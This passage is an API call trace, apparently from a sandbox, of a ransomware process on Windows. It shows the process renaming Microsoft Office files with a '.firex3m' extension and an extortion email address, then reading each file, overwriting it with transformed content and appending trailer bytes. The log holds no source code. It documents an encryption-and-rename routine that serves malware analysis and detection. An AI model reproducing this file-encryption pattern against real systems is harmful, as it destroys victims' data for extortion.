Office\\root\\Office16\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.xls.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0150.074] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0150.075] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.XLS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PROTTP~4.FIR")) returned 0x6d4f00 [0150.075] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0150.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.xls.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0150.075] GetProcessHeap () returned 0x630000 [0150.075] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2221) returned 0x738f418 [0150.076] GetProcessHeap () returned 0x630000 [0150.076] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2221) returned 0x7391648 [0150.076] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.076] ReadFile (in: hFile=0x688, lpBuffer=0x738f418, nNumberOfBytesToRead=0x2200, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x738f418*, lpNumberOfBytesRead=0x59bff0c*=0x2200, lpOverlapped=0x0) returned 1 [0152.561] GetProcessHeap () returned 0x630000 [0152.561] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0152.561] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.561] WriteFile (in: hFile=0x688, lpBuffer=0x7391648*, nNumberOfBytesToWrite=0x2200, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7391648*, lpNumberOfBytesWritten=0x59bff0c*=0x2200, lpOverlapped=0x0) returned 1 [0152.562] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.562] WriteFile (in: hFile=0x688, lpBuffer=0x7393847*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7393847*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0152.562] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.562] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0152.562] CloseHandle (hObject=0x688) returned 1 [0152.562] GetProcessHeap () returned 0x630000 [0152.562] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7391648 | out: hHeap=0x630000) returned 1 [0152.562] GetProcessHeap () returned 0x630000 [0152.562] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x738f418 | out: hHeap=0x630000) returned 1 [0152.562] GetProcessHeap () returned 0x630000 [0152.562] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0152.562] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0152.562] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x20e159f0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2224, dwReserved0=0xab47496, dwReserved1=0x738f410, cFileName="PROTTPLV.XLS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PROTTP~4.FIR")) returned 0x6d52c0 [0152.563] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0152.563] Sleep (dwMilliseconds=0x1) [0154.542] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE", len=0x45 | out: pbstr=0x59bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE") returned 1 [0154.542] GetProcessHeap () returned 0x630000 [0154.542] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b88) returned 0x713f7f0 [0154.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0154.543] CloseHandle (hObject=0x6b8) returned 1 [0154.543] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0154.544] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0154.544] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12fc801f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12fc801f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZMAIN.ACCDE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ACWZMA~1.FIR")) returned 0x6d5440 [0154.544] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0154.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0154.545] GetProcessHeap () returned 0x630000 [0154.545] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f1c300 [0154.545] GetProcessHeap () returned 0x630000 [0154.545] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f06978 [0154.545] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.546] ReadFile (in: hFile=0x6b8, lpBuffer=0x6f1c300, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1c300*, lpNumberOfBytesRead=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0160.465] GetProcessHeap () returned 0x630000 [0160.465] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177a60 [0160.465] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.465] WriteFile (in: hFile=0x6b8, lpBuffer=0x6f06978*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesWritten=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0160.465] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.465] WriteFile (in: hFile=0x6b8, lpBuffer=0x6f11d77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11d77*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0162.920] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.920] WriteFile (in: hFile=0x6b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0162.920] CloseHandle (hObject=0x6b8) returned 1 [0162.920] GetProcessHeap () returned 0x630000 [0162.920] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0162.920] GetProcessHeap () returned 0x630000 [0162.920] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1c300 | out: hHeap=0x630000) returned 1 [0162.920] GetProcessHeap () returned 0x630000 [0162.920] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177a60 | out: hHeap=0x630000) returned 1 [0162.920] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0162.921] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12fc801f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12fc801f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x270de5ac, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8d9024, dwReserved0=0xab47496, dwReserved1=0x6f1c2f8, cFileName="ACWZMAIN.ACCDE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ACWZMA~1.FIR")) returned 0x6d5280 [0162.921] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0162.921] Sleep (dwMilliseconds=0x1) [0164.542] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x59bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\PowerPivotExcelClientAddIn.rll") returned 1 [0164.542] GetProcessHeap () returned 0x630000 [0164.542] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bfc) returned 0x707d3d0 [0164.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1046\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0165.821] CloseHandle (hObject=0x66c) returned 1 [0165.821] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0165.823] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1046\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1046\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0168.934] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0168.934] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d4e40 [0168.935] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0168.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1046\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0168.935] GetProcessHeap () returned 0x630000 [0168.935] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f27730 [0168.936] GetProcessHeap () returned 0x630000 [0168.936] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f32b60 [0168.936] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.936] ReadFile (in: hFile=0x66c, lpBuffer=0x6f27730, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f27730*, lpNumberOfBytesRead=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0178.174] GetProcessHeap () returned 0x630000 [0178.174] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0178.175] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.175] WriteFile (in: hFile=0x66c, lpBuffer=0x6f32b60*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f32b60*, lpNumberOfBytesWritten=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0178.175] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.175] WriteFile (in: hFile=0x66c, lpBuffer=0x6f3df5f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3df5f*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0178.176] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.176] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0178.176] CloseHandle (hObject=0x66c) returned 1 [0178.176] GetProcessHeap () returned 0x630000 [0178.176] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f32b60 | out: hHeap=0x630000) returned 1 [0178.176] GetProcessHeap () returned 0x630000 [0178.176] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f27730 | out: hHeap=0x630000) returned 1 [0178.176] GetProcessHeap () returned 0x630000 [0178.176] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0178.176] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0178.176] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3025a1f1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11a84, dwReserved0=0xab47496, dwReserved1=0x6f27728, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5040 [0178.176] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0178.176] Sleep (dwMilliseconds=0x1) [0180.235] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\LocalizedStrings.xml", len=0x6b | out: pbstr=0x59bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\LocalizedStrings.xml") returned 1 [0180.235] GetProcessHeap () returned 0x630000 [0180.235] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2aac) returned 0x707d3d0 [0180.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-latn\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0182.837] CloseHandle (hObject=0x67c) returned 1 [0182.837] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.838] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-latn\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-latn\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0189.659] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.659] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10b8, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0189.659] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0189.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-latn\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0189.659] GetProcessHeap () returned 0x630000 [0189.659] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10c1) returned 0x714508 [0189.659] GetProcessHeap () returned 0x630000 [0189.659] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10c1) returned 0x67be28 [0189.659] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.659] ReadFile (in: hFile=0x67c, lpBuffer=0x714508, nNumberOfBytesToRead=0x10a0, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x714508*, lpNumberOfBytesRead=0x59bff0c*=0x10a0, lpOverlapped=0x0) returned 1 [0189.677] GetProcessHeap () returned 0x630000 [0189.677] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0189.677] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.677] WriteFile (in: hFile=0x67c, lpBuffer=0x67be28*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x67be28*, lpNumberOfBytesWritten=0x59bff0c*=0x10a0, lpOverlapped=0x0) returned 1 [0189.677] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.677] WriteFile (in: hFile=0x67c, lpBuffer=0x67cec7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x67cec7*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0189.677] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.677] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0189.678] CloseHandle (hObject=0x67c) returned 1 [0189.678] GetProcessHeap () returned 0x630000 [0189.678] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67be28 | out: hHeap=0x630000) returned 1 [0189.678] GetProcessHeap () returned 0x630000 [0189.678] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714508 | out: hHeap=0x630000) returned 1 [0189.678] GetProcessHeap () returned 0x630000 [0189.678] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0189.678] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.678] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", 